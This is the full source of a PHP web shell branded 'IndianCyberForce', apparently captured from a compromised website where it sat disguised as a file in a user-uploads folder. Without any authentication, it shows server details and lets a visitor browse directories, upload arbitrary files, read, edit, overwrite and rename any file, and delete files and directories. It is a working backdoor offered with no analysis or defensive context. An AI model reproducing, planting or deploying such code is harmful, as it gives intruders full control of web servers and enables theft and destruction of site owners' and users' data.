Current File : /home/tradevaly/www/public/storage/images/user/pdf/2024-09-14-66e59e54b12cf.php
<!DOCTYPE html>
<html lang="en">
<head>
		<meta name='author' content='IndianCyberForce'/>
    <title>CyberForceX</title>
<style> 
body {
  background:black;
  line-height: 1;
  color: white;
  font-family: Serif ;
  }
table, th, td {
	border-collapse:collapse;background:transparent;font-family:Serif;font-size: 15px;
}
input, textarea { font-family: Serif; }
.table_home, .th_home, .td_home { color:white;
	border: 5px cyan;
}
th {
	padding: 10px;
}
.td_home { padding: 7px; }
select {font-family: Serif }
a {color:yellow}
textarea { width: 100%;height: 400px; }
</style> 
<center><h1><font  style="color: White; text-shadow: 1px 3px 12px cyan;">IndianCyberForce</font></h1></center>
<li><font color="cyan">Software :</font><font color="white" style="font-family: Cursive;"> <?= "{$_SERVER["SERVER_SOFTWARE"]}"; ?></font></li>
<li><font color="cyan">G-Interface :</font><font color="white" style="font-family: Cursive;"> <?= "{$_SERVER["GATEWAY_INTERFACE"]}"; ?></font></li>
<li><font color="cyan">Server IP :</font><font color="white" style="font-family: Cursive;"> <?= "{$_SERVER["SERVER_ADDR"]}"; ?></font></li>
<li><font color="cyan">Server Admin :</font><font color="white" style="font-family: Cursive;"> <?= "{$_SERVER["SERVER_ADMIN"]}"; ?></font></li>
<?php 
echo '</head>
<body>
<tr><td>
<font color="cyan">Uname: </font><font color="white" style="font-family: Cursive;">'.php_uname().'</center></font><br>';
if(isset($_GET['maarg'])){
$maarg = $_GET['maarg'];
}else{
$maarg = 
getcwd();
}
$maarg = str_replace('\\','/',$maarg);
$namha = explode('/',$maarg);
foreach($namha as $id=>$pat){
if($pat == '' && $id == 0){
$a = true;
echo '<font color="cyan">Cwd: </font><font color="white"><a href="?maarg=/">/</a></font>';
continue;
}
if($pat == '') continue;
echo '<a href="?maarg=';
for($i=0;$i<=$id;$i++){
echo "$namha[$i]";
if($i != $id) echo "/";
}
echo '">'.$pat.'</a>/';
}
echo '<br></font></center></td></tr><tr><td>';
echo'<br>';
if(isset($_FILES['file'])){
if(copy($_FILES['file']['tmp_name'],$maarg.'/'.$_FILES['file']['name'])){
echo "<script>window.location='?maarg=".$maarg."'; alert('Uploaded')</script>";
}else{
echo "<script>window.location='?maarg=".$maarg."'; alert('Upload Field')</script>";
}
}
echo '<form enctype="multipart/form-data" method="POST"><font color="black"><input style="background:grey;font-family: cursive" type="file" name="file" />
<input style="font-family: cursive" type="submit" value="Upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
echo "<tr><td><center>Current File : ";
echo $_GET['filesrc'];
echo '</center></tr></td></table><br />';
echo(' <textarea style="width: 100%;height: 400px;" readonly> '.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</textarea>');
}
elseif(isset($_GET['option']) && $_GET['opt'] != 'delete'){
    echo '</table><br /><center>'.$_POST['maarg'].'<br /><br />';
if($_GET['opt'] == 'chmod'){
if(isset($_POST['perm'])){
}
$hell = $_GET['maarg'];
$kiya = $_GET['name'];
$patc = "$hell/$kiya";
}
//Rename file
elseif($_GET['opt'] == 'rename'){
if(isset($_POST['newname'])){
if(rename($_POST['maarg'],$maarg.'/'.$_POST['newname'])){
echo '<font color="green">Name Changed!</font><br />';
}else{
echo '<font color="red">Error Found!</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
$hell = $_GET['maarg'];
$kiya = $_GET['name'];
$patc = "$hell/$kiya";
$new = $_POST['newname'];
echo '<form method="POST">
New Name : <input name="newname" type="text" size="20" value="'.$new.'" />
<input type="hidden" name="maarg" value="'.$patc.'">
<input type="hidden" name="opt" value="rename">
<input type="submit" value="Save" />
</form>';
}
//Edited file
elseif($_GET['opt'] == 'edit'){
if(isset($_POST['src'])){
$fp = fopen($_POST['maarg'],'w');
if(fwrite($fp,$_POST['src'])){
echo '<font color="green">File Edited!</font><br />';
}else{
echo '<font color="red">Edit Error! </font><br />';
}
fclose($fp);
}
$hell = $_GET['maarg'];
$kiya = $_GET['name'];
$patc = "$hell/$kiya";
echo '<form method="POST">
<textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($patc)).'</textarea><br />
<input type="hidden" name="maarg" value="'.$patc.'">
<input type="hidden" name="opt" value="edit">
<input type="submit" value="Save" />
</form>';
}
echo '</center>';
}else{
echo '</table><br /><center>';
//Delete dir and file
if(isset($_GET['option']) && $_GET['opt'] == 'delete'){
$hell = $_GET['maarg'];
$kiya = $_GET['name'];
$patc = "$hell/$kiya";
//Delete dir
if($_GET['type'] == 'dir'){
if(rmdir($patc)){
echo '<font color="green">Dir Delted!</font><br />';
}else{
echo '<font color="red#">Delete Error! </font><br />';
}
}
//Delete file
elseif($_GET['type'] == 'file'){
$hell = $_GET['maarg'];
$kiya = $_GET['name'];
$patc = "$hell/$kiya";
if(unlink($patc)){
echo '<font color="red#">File Deleted! </font><br />';
}else{
echo '<font color="red#">Delete File Error </font><br />';
}}}
echo '</center>';
$scandir = scandir($maarg);
$pa = getcwd();
echo ' <table width="95%" class="table_home" border="0" cellpadding="3" cellspacing="1" align="center" style="color:cyan;">
<tr>
<th class=th_home style="background:green;color: White; text-shadow: 0px 3px 12px red;"><center><b>Name</b></center></th>
<th class=th_home style="background:green;color: White; text-shadow: 0px 3px 12px red;" ><center><b>Size</b></center></th>
<th class=th_home style="background:green;color: White; text-shadow: 0px 3px 12px red;" ><center><b>Permision</b></center></th>
<th class=th_home style="background:green;color: White; text-shadow: 0px 3px 12px red;" ><center><b>Options</b></center></th>
</tr> <tr>
';
foreach($scandir as $dir){
if(!is_dir("$maarg/$dir") || $dir == '.' || $dir == '..') continue;
echo "
<tr>
<td class=td_home><a href=\"?maarg=$maarg/$dir\">$dir</a></td>
<td class=td_home ><center>Dir</center></td>
<td class=td_home ><center>";
if(is_writable("$maarg/$dir")) echo '<font color="green">';
elseif(!is_readable("$maarg/$dir")) echo '<font color="red">';
echo perms("$maarg/$dir");
if(is_writable("$maarg/$dir") || !is_readable("$maarg/$dir")) echo '</font>';
echo "</center></td>
<td class=td_home ><center><a href=\"?option&maarg=$maarg&opt=rename&type=dir&name=$dir\">    Rename</a> <a href=\"?option&maarg=$maarg&opt=delete&type=dir&name=$dir\">    Delete</a>
</center></td>
</tr>";
}
echo '<br>';
foreach($scandir as $file){
if(!is_file("$maarg/$file")) continue;
$size = filesize("$maarg/$file")/1024;
$size = round($size,3);
if($size >= 1024){
$size = round($size/1024,2).' MB';
}else{
$size = $size.' KB';
}
echo "<tr>
<td class=td_home ><a href=\"?filesrc=$maarg/$file&maarg=$maarg\">$file</a></td>
<td class=td_home><center>".$size."</center></td>
<td class=td_home><center>";
if(is_writable("$maarg/$file")) echo '<font color="green">';
elseif(!is_readable("$maarg/$file")) echo '<font color="red">';
echo perms("$maarg/$file");
if(is_writable("$maarg/$file") || !is_readable("$maarg/$file")) echo '</font>';
echo "</center></td>
<td class=td_home><center>
<a href=\"?option&maarg=$maarg&opt=edit&type=file&name=$file\">Edit</a> <a href=\"?option&maarg=$maarg&opt=rename&type=file&name=$file&maarg=$maarg\">    Rename</a> <a href=\"?option&maarg=$maarg&opt=delete&type=file&name=$file\">    Delete</a>
</center></td>
</tr>";
}
echo '</table>
</div>';
}
echo '<center><h5><font color="" Face="Indie"style="color: White; text-shadow: 1px 4px 12px red;">CyberForceX@2024</font></h5></body>
</html>';
function perms($file){
$anumati = fileperms($file);
if (($anumati & 0xC000) == 0xC000) {
$tathya = 's';
} elseif (($anumati & 0xA000) == 0xA000) {
$tathya = 'l';
} elseif (($anumati & 0x8000) == 0x8000) {
$tathya = '-';
} elseif (($anumati & 0x6000) == 0x6000) {
$tathya = 'b';
} elseif (($anumati & 0x4000) == 0x4000) {
$tathya = 'd';
} elseif (($anumati & 0x2000) == 0x2000) {
$tathya = 'c';
} elseif (($anumati & 0x1000) == 0x1000) {
$tathya = 'p';
} else {
$tathya = 'u';
}

$tathya .= (($anumati & 0x0100) ? 'r' : '-');
$tathya .= (($anumati & 0x0080) ? 'w' : '-');
$tathya .= (($anumati & 0x0040) ?
(($anumati & 0x0800) ? 's' : 'x' ) :
(($anumati & 0x0800) ? 'S' : '-'));

$tathya .= (($anumati & 0x0020) ? 'r' : '-');
$tathya .= (($anumati & 0x0010) ? 'w' : '-');
$tathya .= (($anumati & 0x0008) ?
(($anumati & 0x0400) ? 's' : 'x' ) :
(($anumati & 0x0400) ? 'S' : '-'));

$tathya .= (($anumati & 0x0004) ? 'r' : '-');
$tathya .= (($anumati & 0x0002) ? 'w' : '-');
$tathya .= (($anumati & 0x0001) ?
(($anumati & 0x0200) ? 't' : 'x' ) :
(($anumati & 0x0200) ? 'T' : '-'));

return $tathya;
}
?>